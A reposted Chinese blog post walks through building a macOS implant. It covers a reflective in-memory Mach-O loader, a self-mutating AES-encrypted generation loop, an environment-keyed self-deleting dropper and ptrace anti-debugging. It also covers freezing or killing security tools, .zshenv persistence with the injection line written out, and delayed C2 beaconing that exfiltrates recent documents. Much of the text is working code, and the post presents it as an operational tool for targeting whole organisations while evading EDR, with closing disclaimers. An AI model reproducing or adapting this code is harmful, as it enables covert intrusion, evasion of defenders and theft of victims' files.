共 5 个导出的 C 函数,可直接替换 <dlfcn.h>。其中关键的是 custom_dlopen_from_memory。当 quiet_load()以封装后 Mach-O 缓冲区的指针及其长度调用它时,内部发生了以下过程。
调用进入 custom_dlfcn.cpp(ReflectiveLoader/loader/src/custom_dlfcn.cpp)。
extern "C" void *custom_dlopen_from_memory(void *mh, int len) {
try {
const char *path = "foobar";
// Load image step
auto image = ImageLoaderMachO::instantiateFromMemory(
path, (macho_header *)mh, len, g_linkContext);
bool forceLazysBound = true;
bool preflightOnly = false;
bool neverUnload = false;
// Link step
std::vector<const char *> rpaths;
ImageLoader::RPathChain loaderRPaths(NULL, &rpaths);
image->link(g_linkContext, forceLazysBound, preflightOnly,
neverUnload, loaderRPaths, path);
// Register ObjC classes
registerObjC(static_cast<ImageLoaderMachO *>(image));
// Initialization of static objects
ImageLoader::InitializerTimingList initializerTimes[1];
initializerTimes[0].count = 0;
image->runInitializers(g_linkContext, initializerTimes[0]);
return image;
}
catch (const char *msg) {
return with_error("Error: " + std::string(msg));
}
catch (...) {
return with_error("Error: Unknown reason...");
}
}
实例化、链接、注册 ObjC、运行初始化器。path是一个占位字符串——不存在对应文件。g_linkContext是一个全局 ImageLoader::LinkContext结构体,由 dyld_stubs.cpp构建,所有回调都以桩函数替代。返回的 image指针是一个不透明句柄,供 custom_dlsym后续解析符号使用。
instantiateFromMemory是 Mach-O 缓冲区转化为已加载镜像的关键步骤。它调用 sniffLoadCommands()验证头部、统计段数量、定位 LC_DYLD_INFO_ONLY或 LC_DYLD_CHAINED_FIXUPS、检查加密标志,然后分发给 ImageLoaderMachOCompressed:
$ nm -g lib/libloader.a | c++filt | grep "instantiateFromMemory"
00000000000016c4 T isolator::ImageLoaderMachO::instantiateFromMemory(...)
0000000000000844 T isolator::ImageLoaderMachOCompressed::instantiateFromMemory(...)
ImageLoaderMachOCompressed::instantiateFromMemory将缓冲区解析为内存镜像。关键在于 mapSegments()——内存变体,而非文件描述符变体。当源是内存缓冲区而非文件时,Apple 的代码这样处理:
// ImageLoaderMachO.cpp mapSegments (memory variant)
void ImageLoaderMachO::mapSegments(const void* memoryImage, uint64_t imageLen,
const LinkContext& context) {
intptr_t slide = this->assignSegmentAddresses(context, 0);
for (unsigned int i = 0, e = segmentCount(); i < e; ++i) {
vm_address_t loadAddress = segPreferredLoadAddress(i) + slide;
vm_address_t srcAddr = (uintptr_t)memoryImage + segFileOffset(i);
vm_size_t size = segFileSize(i);
kern_return_t r = vm_copy(mach_task_self(), srcAddr, size, loadAddress);
if (r != KERN_SUCCESS)
throw "can't map segment";
}
this->setSlide(slide);
// Set final permissions on each segment
for (unsigned int i = 0, e = segmentCount(); i < e; ++i)
segProtect(i, context);
}
无 mmap,无文件描述符,无文件系统路径。assignSegmentAddresses()选择一个基地址(遵守 ASLR),然后vm_copy()将每个段从内存缓冲区复制到其最终加载地址。所有段就位后,segProtect()设置正确的vm_protect权限——__TEXT为r-x,__DATA为rw-,__LINKEDIT为r--。基于文件的mapSegments()变体使用带MAP_FIXED的mmap()直接从磁盘映射;这个变体使用vm_copy(),因为源已在我们的地址空间中。
映射完成后,镜像经历标准的 dyld 链接序列:
$ nm -g lib/libloader.a | c++filt | grep "T isolator::ImageLoader::recursiveRebase\|T isolator::ImageLoader::recursiveBind\|T isolator::ImageLoader::runInitializers\|T isolator::ImageLoader::link"
0000000000002710 T isolator::ImageLoader::recursiveRebase(...)
00000000000029b0 T isolator::ImageLoader::recursiveBind(...)
0000000000001bd4 T isolator::ImageLoader::runInitializers(...)
0000000000000d78 T isolator::ImageLoader::link(...)
link()统筹全流程——重定位(为 ASLR 滑动修正内部指针)、绑定(解析外部符号引用),然后 runInitializers()调用 doModInitFunctions()执行任何 __mod_init_func构造函数。对于我们封装的 Mach-O 而言,这基本上是空操作——wrap_macho()产生的镜像 LC_DYLD_INFO_ONLY全部清零(无重定位、无绑定、无导出),因此重定位和绑定阶段遍历空操作码流后立即返回。但对需要这些操作的镜像而言,这套机制是完备的。
dyld_stubs.cpp模块(ReflectiveLoader/loader/src/dyld_stubs.cpp)提供了 ImageLoader类层次结构所期望的 dyld 运行时胶水代码。在真实的 dyld 中,LinkContext结构体包含用于镜像通知、错误报告、库加载和符号解析的函数指针。这里的桩函数将所有这些替换为空操作:
// dyld_stubs.cpp all callbacks silenced for OPSEC
void stub_notifySingle(dyld_image_states, const ImageLoader*,
ImageLoader::InitializerTimingList*) {}
void stub_notifyBatch(dyld_image_states state, bool preflightOnly) {}
void stub_setErrorStrings(unsigned errorCode, const char*, const char*,
const char*) {}
void stub_clearAllDepths() {}
unsigned int stub_imageCount() { return 0; }
void stub_addDynamicReference(ImageLoader*, ImageLoader*) {}
甚至 dyld::log()和 dyld::warn()也是空函数——没有诊断输出,没有追踪记录。throwf()抛出空字符串而非格式化错误信息。被加载的镜像以为自己由 dyld 管理,实际上并非如此。
ImageLoaderProxy是该库针对宿主进程解析符号的方式。当被加载的镜像需要某个已加载 dylib(如 libSystem.B.dylib)中的符号时,stub_flatExportFinder回调通过 ImageLoaderProxy::instantiate()创建一个代理,封装真实 dyld 对进程的视图。custom_dlsym利用这一机制通过遍历导出 trie 查找导出符号——与 Apple dyld 使用的 trieWalk()算法完全相同:
// custom_dlfcn.cpp
extern "C" void *custom_dlsym(void *__handle, const char *__symbol) {
std::string underscoredName = "_" + std::string(__symbol);
const ImageLoader *image = reinterpret_cast<ImageLoader *>(__handle);
auto sym = image->findExportedSymbol(underscoredName.c_str(), true, &image);
if (sym != NULL) {
auto addr = image->getExportedSymbolAddress(
sym, g_linkContext, nullptr, false, underscoredName.c_str());
return reinterpret_cast<void *>(addr);
}
return nullptr;
}
下划线前缀是因为 Mach-O 符号存储时带有前导下划线(_main、_printf)。findExportedSymbol遍历导出 trie——__LINKEDIT中一个将符号名映射到地址的压缩前缀树。对于我们最小化封装的镜像,该 trie 为空;但通过代理加载真实 dylib 时,外部符号就是这样被解析的。
然后是 ObjCRuntime.cpp。若被加载的镜像包含 Objective-C 元数据——__objc_classlist中的类列表、__objc_catlist中的分类列表、__objc_selrefs中的选择器引用——ObjC 运行时需要知晓这些信息。custom_dlfcn.cpp中的 registerObjC()函数负责从已加载镜像中提取各 ObjC 节,并将它们传递给 mull::objc::Runtime:
void registerObjC(ImageLoaderMachO *image) {
mull::objc::Runtime runtime;
const char *sections[] = {
"__objc_selrefs", "__objc_classlist", "__objc_classrefs",
"__objc_superrefs", "__objc_catlist"
};
for (const char *name : sections) {
void *start; size_t size;
if (image->getSectionContent("__DATA", name, &start, &size))
/* add to runtime */;
else if (image->getSectionContent("__DATA_CONST", name, &start, &size))
}
runtime.registerSelectors(/* ... */);
runtime.addClassesFromSection(/* ... */);
runtime.registerClasses();
runtime.addCategoriesFromSection(/* ... */);
}
同时尝试 __DATA和 __DATA_CONST两个段,是因为 Apple 在较新的工具链中出于安全考虑将 ObjC 元数据移至 __DATA_CONST(常量节可在初始化后映射为只读)。对于纯 C 的 payload,这部分实际上用不到,但库依然提供支持——因为同一个加载器也可以注入基于 ObjC 的 payload;ReflectiveLoader/PoC/中的概念验证正是演示了这一点,加载了一个使用 Foundation 类的 .dylib。
整个系统链接为一个静态库:
LDFLAGS = lib/libloader.a -framework Foundation -framework CoreServices \
-framework Security -framework IOKit -lobjc -lz
这些框架分别用于 ObjC 运行时注册,以及 payload 所使用的系统 API(CoreServices 用于持久化,Security 用于钥匙串,IOKit 用于硬件枚举)。-lobjc链接 ObjC 运行时本身,-lz用于某些 Mach-O 格式中 zlib 压缩的 LINKEDIT 数据。
当 quiet_load()调用 custom_dlopen_from_memory(buf, len)时,整条 Mach-O 加载流水线在无头模式下运行:sniffLoadCommands验证头部,vm_copy完成段映射,重定基址、符号绑定、ObjC 注册、静态初始化器,全程在用户空间完成,全程基于内存缓冲区,既不涉及文件系统,也绕过了真实的 dyld。加载完成的镜像驻留于进程虚拟地址空间,但不出现在 dyld 的镜像列表中。
_dyld_image_count()对它视而不见,vmmap显示的是匿名内存区域而非具名映射,DYLD_PRINT_LIBRARIES也不会留下任何日志。从任何角度看,这段代码都不作为已加载库存在——它不过是某个地址上恰好可执行的字节序列。
加载完成后,代码在一个独立的 pthread 中运行,以将其与主线程的栈和状态隔离:
static void *exec_thread(void *arg) {
inmem_binary_t *ib = (inmem_binary_t *)arg;
typedef int (*entry_fn_t)(void);
entry_fn_t entry = (entry_fn_t)((uint8_t*)ib->base_addr + ib->entry_offset);
int result = entry();
return (void*)(intptr_t)result;
}
int inmem_execute(inmem_binary_t *ib) {
if (!ib || !ib->base_addr) return -1;
pthread_t thread;
void *ret_val;
if (pthread_create(&thread, NULL, exec_thread, ib) != 0) return -1;
pthread_join(thread, &ret_val);
return (int)(intptr_t)ret_val;
}
入口点计算方式为 base_addr + entry_offset,其中 entry_offset 来自原始二进制文件加载命令中的 LC_MAIN。将其转型为函数指针并调用,正是变异代码变得“活跃”的瞬间。独立线程的意义在于:若变异代码崩溃(变异有误、分支修复存在边界情况),主线程可以通过 join 的返回值捕获错误,而不是直接挂掉。
以上所有机制汇聚于一个自我变异的循环。每一代将其输出作为下一代的输入:
#define MAX_GEN 8
#define GROWTH 4
for (unsigned g = 0; g < MAX_GEN; g++) {
aether_rng_t rng;
aether_rng_init(&rng);
/* odd=expand, even=reshape */
size_t gen_max = (g & 1) ? max_sz : cur_sz;
size_t nsz = aether_mutate(code, cur_sz, gen_max, &rng, 7, passes, vm, vme);
if (!nsz) break;
/* Encrypt mutated code */
derive_next_key(prev_key, g, gen_key, gen_iv);
size_t enc_len = aes_encrypt(code, cur_sz, gen_key, gen_iv, &encrypted);
/* Wrap in Mach-O */
uint8_t *macho = wrap_macho(encrypted, enc_len, &macho_sz);
/* Reflective load with decryption */
void *h = quiet_load(macho, (int)macho_sz, gen_key, gen_iv);
/* Extract __text from loaded image > next generation's input */
struct section_64 *ns = find_text(macho);
if (ns && ns->size <= max_sz) {
memcpy(code, macho + ns->offset, ns->size);
cur_sz = ns->size;
}
}
第 0 代从磁盘上的二进制文件读取原始 __text(通过 _NSGetExecutablePath + read_self())。变异引擎对其进行变换,结果以 AES 加密——密钥由代码自身加上运行时熵值(mach_absolute_time() ^ getpid())派生。加密后的数据块被封装进 Mach-O,反射式加载(加载过程中同时解密),解密后的代码被提取出来作为第 1 代的输入。
每一代的 AES 密钥均从上一代的密钥派生,形成一条密钥链。第 0 代的密钥来自对原始存根代码的哈希,因此密钥材料与二进制文件的身份绑定。若有人修改了存根,密钥派生结果随之改变,所有后续代均无法解密。
加载期间通过将 fd 1 重定向到 /dev/null 来抑制标准输出:
static void *quiet_load(void *buf, int len,
const uint8_t key[AES_KEY_SIZE],
const uint8_t iv[AES_IV_SIZE]) {
/* Decrypt __text in-place before loading */
if (key && iv) {
/* ... find __text section, decrypt with AES ... */
}
/* Silence any loader output */
int fd = dup(1), nul = open("/dev/null", O_WRONLY);
if (nul >= 0) { dup2(nul, 1); close(nul); }
void *h = custom_dlopen_from_memory(buf, len);
fflush(stdout);
if (fd >= 0) { dup2(fd, 1); close(fd); }
return h;
}
最后一块拼图:一个操作内存缓冲区而非文件路径的自定义 dlopen实现。它解析 Mach-O 头部,以正确权限映射各段,并返回句柄。完全绕过 dyld——没有 NSObjectFileImage,没有 NSLinkModule,没有文件系统交互。该函数在 ld/custom_dlfcn.h中声明,与 custom_dlsym并列,用于从已加载镜像解析符号。
当二进制文件用完某一代的已加载镜像后,inmem_free拆除两个映射:
void inmem_free(inmem_binary_t *ib) {
if (!ib) return;
if (ib->dual_mapped) {
if (ib->rw_addr)
vm_deallocate(mach_task_self(), (vm_address_t)ib->rw_addr, ib->size);
if (ib->base_addr)
vm_deallocate(mach_task_self(), (vm_address_t)ib->base_addr, ib->size);
} else {
if (ib->base_addr)
vm_deallocate(mach_task_self(), (vm_address_t)ib->base_addr, ib->size);
}
free(ib);
}
RW 与 RX 映射需要分别独立释放。vm_deallocate将虚拟地址范围归还内核,当最后一个引用消失时,物理页面随之释放。在双映射场景下,释放 RW 映射并不影响 RX 映射(两者是指向同一物理页面的独立虚拟条目),因此必须显式地逐一释放。
整条反射式加载链 wrap_macho > inmem_load > inmem_execute 从不调用 open()、write()、rename()或任何文件系统调用。从 fs_usage、以 syscall::open*:entry探针运行的 dtrace,或 Endpoint Security 的 ES_EVENT_TYPE_NOTIFY_WRITE等工具的视角来看,变异后的代码压根不存在:没有文件可供哈希,没有代码签名可供验证,没有隔离属性可供检查。
双映射方案能专门克制那些查找 RWX 页面的运行时内存扫描器。整个系统中不存在任何 RWX 页面——RW 页面包含代码但不可执行;RX 页面可执行,但从虚拟地址层面看从未被直接写入。扫描器若要关联这两个映射,需要遍历 vm_map条目并检查共享的物理页面支撑——理论上可以通过 mach_vm_region_recurse实现,但目前没有任何量产级 EDR 会这么做。
N 代循环完成后,通过双重 fork 将有效载荷进程与父进程解绑:
pid_t p1 = fork();
if (p1 > 0) _exit(0); /* parent exits clean */
setsid();
pid_t p2 = fork();
if (p2 > 0) _exit(0); /* child exits */
/* grandchild: detached session leader, no controlling terminal */
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
payload_run();
孙进程继承了最终一代的内存状态,但没有任何可以追溯的父进程。原始进程已干净退出,中间子进程也已退出,孙进程成为一个关闭了标准 I/O 的会话领导者——按经典 Unix 定义,这就是一个守护进程。而它的 __text节与 8 次变异之前磁盘上的内容已无任何相似之处。
- Objective-See: Reflective Code Loading on macOS
- macOS Reflective Code Loading Analysis
- vm_remap XNU kernel man page
- Jailed Just-in-Time Compilation on iOS Saagar Jha
- A Reflective Loader for macOS
骚操作
前面已经讲完了引擎如何变异代码,以及反射式加载器如何将其映射进内存。接下来要讲的是植入物抵达目标后的作战流程。整个系统分三个主要执行阶段:投放器(dropper)、mut8入口,以及有效载荷(payload)。
投放器是唯一一个在操作员控制范围之外与磁盘交互的组件。它是一个独立的 Mach-O 可执行文件,将 AES 加密的有效载荷嵌入在一个自定义节中。
extern unsigned char _foo_start[] __asm__("section$start$__DATA$__rsrc");
extern unsigned char _foo_end[] __asm__("section$end$__DATA$__rsrc");
链接器将 AES 加密的有效载荷塞入 __DATA,__rsrc节。运行时,投放器检查环境域名后缀、网络前缀和哨兵文件,将三者多次经过 SHA-256 哈希运算派生出 AES 密钥,然后尝试解密数据块。若魔数(0xfeedfacf)不对——环境不匹配、密钥错误或数据已损坏——投放器直接删除自身并退出。静默,干净,不崩溃。
只有目标环境才能触发后续流程。若解密成功,投放器将有效载荷以 p.dylib写入临时目录,dlopen加载,通过 dlsym找到入口符号 __8d3942b93e489c7a并调用,完毕后执行清理:dlclose、删除临时文件、删除临时目录、删除自身。彻底消失。投放器不过是一次性的脆手架。
这里使用系统的 dlopen,是因为 libloader.a位于有效载荷中,而非投放器。入口名称刻意设计成随机十六进制哈希的样子——任何符号数据库都无从匹配,只有 dlsym能找到它。就这样。
密钥派生机制值得特别说明——这也是投放器无法在沙箱中运行的关键原因。目标环境的特定信息(文件夹 GUID、注册表值等)被哈希数千次。机器不对?产生垃圾字节,魔数校验失败,程序自毁。
我们采用相同的机制,但使用三个因子:域名后缀、网络前缀和哨兵文件。三者必须同时匹配。
这三个因子由操作员在构建时根据侵察结果填入。例如,招聘信息会透露 VPN 客户端型号,DNS 记录会泄露域名,快速端口扫描则能确定内网段。构建工具将这三个字符串以管道符拼接,对结果运行约 1000 次SHA-256 哈希。
前 16 字节成为 AES 密钥,后 16 字节成为 IV。
为何不用硬件 UUID 之类的东西?因为 UUID 将你锁定在单台机器上。域名 + 网络 + 文件的组合,让你可以针对整个组织。只需构建一个投放器,它就能在 E-Corp 内网中任何安装了指定 VPN 客户端的机器上运行。
TARGET_DOMAIN、TARGET_NETWORK和 TARGET_FILE这些名称没什么特殊含义,只是为了便于阅读。在真实行动中,一切都会被高度混淆。这些字符串在构建时通过 -include编译进投放器。
当然,这个方案有利有弊,并非万能药。说实在的,把它当作一个挑战吧——看看能不能让这个程序在自己的机器上运行或完成解密。方法总是有的,只要你自己去找。
即便知道了目标环境的特征,也无助于解密有效载荷——你仍然需要实际对接到目标网络中,并且主机名后缀和哨兵文件必须同时存在。
而如果你已经身在其中……那你就是目标了。
- Kaspersky: Equation Group
- Intelligence Report: Equation Group
投放器调用 __8d3942b93e489c7a之后,我们就进入了存根(stub)内部。变形引擎就是从这里开始跑的。它做的第一件事:
int __8d3942b93e489c7a(int argc, char **argv) {
extern bool harden_check(void);
if (!harden_check()) return 1;
harden_check()依次调用 deny_attach()和 is_debugged()。
deny_attach()通过 dlsym解析 ptrace(符号与 0x11 异或),然后调用 ptrace(PT_DENY_ATTACH, 0, 0, 0)(syscall 26,request 31)。此后任何试图附加的调试器?直接 SEGV。lldb、dtrace、Instruments 全部阵亡。Apple 在内核源码中记录了这一行为,但从未在任何公开 API 中公开。iOS 越狱检测器都在用的同款技巧,只不过我们跑在 macOS 上。
is_debugged()通过 sysctl检查 P_TRACED标志。sysctl符号本身通过 dlsym配合 XOR 密钥动态解析,从不静态链接,因此 nm不会显示任何信息:
static int call_sysctl(int *mib, u_int cnt, void *old, size_t *oldsz) {
char sym[] = {0x73^0x20, 0x79^0x20, 0x73^0x20, 0x63^0x20,
0x74^0x20, 0x6C^0x20, 0};
for (int i = 0; sym[i]; i++) sym[i] ^= 0x20;
sysctl_fn fn = (sysctl_fn)dlsym(RTLD_DEFAULT, sym);
若任一检查失败,返回 1,投放器的清理路径随即运行。此时不触发自毁——自毁逻辑为有效载荷阶段保留。此时什么都还没有植入,唯一需要清理的就是投放器自身,而它已经会自行删除。
- Defeating Anti-Debug Techniques: macOS ptrace variants — Alex O’Mara
- Debugging Apple binaries that use PT_DENY_ATTACH — knight.sc
- ptrace internals: How it prevents debugger attachment
- Objective-See: Anti-Debug in macOS malware
- Objective-See Products
在开始向外发送任何数据之前,先灭杀一切可能截获流量的东西。目标进程列表共 13 个进程名,以 DJB2 哈希存储,再用 ChaCha20 加密。密钥来自保险库密钥。名字我就不列了,免得 Patrick Wardle 不高兴 🙂
state[12] = 0; state[13] = 0x48554e54;
运行时解密进程表,通过 proc_listpids(PROC_ALL_PIDS)枚举进程,对每个进程名计算 DJB2 哈希,再与表中的值比对。二进制文件中从不出现任何进程名——连加密的形式都没有,只有哈希的哈希。
直接杀死进程行不通(去跟政府解释吧)——launchd 会将它们重启。我们检查 /Library/LaunchDaemons/或 ~/Library/LaunchAgents/下的 plist 文件——若存在,说明该进程由 launchd 管理,对其发送 SIGSTOP。launchd 认为它们仍在“运行”(不会重启),实际上却已被冻结。其余进程:先发 SIGTERM,等待 100ms,再 SIGKILL。
中和完毕后,验证被停止的进程是否确实已冻结,然后立即清除解密后的哈希表。
配置字符串这类高价值信息存放在一个加密保险库中。共三个条目,每个条目用各自独立派生的密钥以 ChaCha20 加密。主密钥由 ChaCha20 sigma 常量、加密后的猎杀表数据块、全部三个保险库 nonce,以及 ASLR 滑动偏移量共同哈希而成。最后这一项是关键:ASLR 滑动偏移每次执行都不一样,所以主密钥每次运行都不同。从某次执行的内存转储中提取的密钥,无法用于其他次执行。
为何保险库用 ChaCha20 而不用 AES?因为 ChaCha20 是流式加密算法——以字节为粒度精准解密,无需填充,无需块对齐,无需维护加密上下文。整段解密逻辑 15 行代码,零堆內存分配。AES-CBC 则需要 CommonCrypto,意味着更大的框架依赖面。保险库的设计早于 RSA 方案,且没有理由改动它。
持久化
变异与 fork 完成后,孙进程开始工作,第一步就是植入自身。
二进制文件迁移至 ~/Library/Caches/.com.apple..<seed>/agent,其中 <seed>是从机器硬件标识(IOPlatformUUID + 序列号,哈希后)确定性生成的十六进制字符串。同一台机器始终得到相同的路径。这很重要,因为清理时需要找到二进制文件,而路径本身并不存储在任何地方。
为何选 ~/Library/Caches/?用户可写,预期包含大量 Apple 风格的随机目录,大多数备份工具都会排除它。点号前缀在 Finder 中隐藏它,.com.apple.前缀则与“合法”Apple 缓存目录无缝融合。执行 ls ~/Library/Caches/你会看到几十个 .com.apple.*目录,大概率不会注意到我们的那个。
持久化方式是 .zshenv。不用 LaunchAgent,不用 cron,不用登录项。.zshenv在 zsh 的每一次调用时都会被加载——无论是交互式、非交互式、脚本、Terminal.app、iTerm2、SSH,甚至其他程序通过 system()调用触发的子 shell(只要默认 shell 是 zsh,而自 Catalina 起默认就是 zsh)。这是在不需要 root 权限的前提下,现代 macOS 上最可靠的持久化方式——至少以我这傻货的经验来说是这样。
注入语句:[ -z "$(pgrep -xf '/path/to/agent')" ] && (exec {path} &>/dev/null &)
pgrep 守卫防止重复注入。exec替换子 shell,&>/dev/null抑制输出,&置入后台。毫无痕迹。
所有字符串片段均通过 volatile 栈写入动态构建。编译器无法将其优化折叠进 .rodata,例如:
char g1[9]; { volatile char *v=(volatile char*)g1;
v[0]=0x5b; v[1]=0x20; v[2]=0x2d; v[3]=0x7a; v[4]=0x20;
v[5]=0x22; v[6]=0x24; v[7]=0x28; v[8]=0; }
对二进制文件运行 strings命令,永远不会看到 pgrep、zshenv、exec,或持久化语句的任何片段。
程序不会一次性完成所有操作。时序模型基于一个存储安装时间戳的标记文件(.ts)。所以首次运行:迁移自身、安装 .zshenv、写入标记、退出。仅此而已。二进制文件落盘后,产生可疑活动的时间为零秒。
若距安装不足 1 小时——立即退出。整整一个小时我们什么都不做。1 小时后进入激活状态:猎杀安全工具、通过 dlopen 加载 curl、解密保险库、获取死信箱数据。死信箱是 pastebin/gist,获取公钥,通过 sysctl 收集主机信息(主机名、内核、型号、CPU 数、内存、用户),用 RSA 混合信封加密,POST 到 C2。
2 小时后开始文件收集。通过 Spotlight 查询过去 7 天内被修改或打开过的目标扩展名文件(pdf、doc、docx、xls、xlsx、csv、ppt、key、pgp)。每个文件单独打包、zlib 压缩、RSA+AES 封装,POST 至 C2,文件间随机抖动 30-90 秒,失败后以指数退避策略重试最多五次。
然后从 .zshenv 中删除重注行,删除二进制文件,删除缓存目录。消失无踪。实际上完全可以让植入物在机器里潜伏至少一个月,给你足够的时间收集尽可能多的新旧文档——但这就看你自己了。
- Methods of Malware Persistence on Mac OS X
- How Malware Persists on macOS
- Mac Malware Persistence
- The Mac Malware of 2025
外传加密
RSA 混合信封完全使用 Security.framework,不用 OpenSSL,不用 LibreSSL,也不通过 dlopen加载 libcrypto。最初尝试过 dlopen 路线——macOS 会以”以不安全的方式加载 libcrypto”为由阻止并终止进程。Apple 已将系统 LibreSSL 移入 dyld 共享缓存,并专门添加了阻止第三方二进制文件加载它的检查。Security.framework 没有此限制,因为它是第一方框架,且已预先链接。
信封工作方式类似 PGP,每个文件随机生成 AES-128 密钥和 IV:
CCRandomGenerateBytes(aes_key, 16);
CCRandomGenerateBytes(iv, 16);
数据用 CommonCrypto 的 CCCrypt()以 AES-128-CBC 加密,然后将 32 字节密钥材料(key || IV)通过 SecKeyCreateEncryptedData()以 RSA-OAEP-SHA256 加密:
CFDataRef ek_cf = SecKeyCreateEncryptedData(key,
kSecKeyAlgorithmRSAEncryptionOAEPSHA256, km_data, NULL);
线路格式:[4:ek_len][ek][4:ct_len][ct]——长度以网络字节序表示。操作员服务器持有 RSA 私钥,反向执行上述流程即可解密。
为何用 RSA-2048 而非 curve25519?因为 Security.framework 原生支持 RSA,无需任何额外代码。
PEM 解析器内置一个在栈上构建的自定义 base64 解码器。不能用 SecDecodeTransformCreate()——Apple 在 macOS 13 中废弃了整个 SecTransform API;不能用 NSData 的 base64——Objective-C 运行时开销太大。所以自己实现,20 行代码,解码表不占堆内存。
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment f00crew f00crew《反汇编、流变与运行时把戏》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论